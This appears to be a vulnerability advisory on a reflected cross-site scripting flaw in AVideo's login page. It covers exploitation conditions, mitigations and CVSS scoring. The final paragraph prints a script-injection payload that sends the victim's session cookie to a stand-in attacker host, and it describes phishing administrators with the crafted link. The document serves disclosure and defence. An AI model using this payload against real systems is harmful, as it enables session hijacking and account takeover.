WWBN AVideo CVE-2026-85577

The attacker must deliver a crafted URL containing the malicious error parameter payload to a victim who then visits it in a browser with an active or future AVideo session - victim user interaction is required (UI:P in CVSS 4.0). No attacker authentication is required; the vulnerability is exploitable against the unauthenticated login page endpoint. The specific condition enabling exploitation is the lack of HTML output encoding for the error parameter when reflected inside a script block in userLogin.php. Exploitation impact is limited by: (1) victim must follow the attacker-controlled link, (2) browser-enforced HttpOnly cookies prevent theft of session tokens if properly configured, and (3) a strict CSP policy would block inline script execution. AVideo instances behind authentication proxies that prevent public access to the login page are not directly exposed.

The CVSS 4.0 score of 5.3 (Medium) reflects the attack's network reachability and zero-privilege requirement, tempered by mandatory user interaction (UI:P) and limited VC:L/VI:L impact. Real-world risk hinges on whether AVideo session cookies carry the HttpOnly flag - without it, the injected script can trivially exfiltrate authenticated session tokens, escalating practical impact well above the Medium classification. The login page attack surface is particularly sensitive because attackers can craft phishing-grade overlays that harvest credentials before the real form submits. No EPSS data was provided; no KEV listing exists. CVSS 3.1 equivalent would score approximately 6.1 (Medium, S:C/UI:R). The attack is trivially automatable once a target email or chat handle is known, making it suitable for targeted phishing against AVideo administrators. Absence of a confirmed patched version in the advisory data is a notable gap for defenders assessing remediation urgency.

An attacker identifies an AVideo instance and constructs a URL to userLogin.php with the error parameter set to a payload such as </script><script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a target AVideo administrator via phishing email or social media. When the administrator clicks the link and the login page renders, the injected script executes in their browser, exfiltrating their session cookie to the attacker's collection server. No public proof-of-concept exploit code has been confirmed beyond the advisory's description of the technique.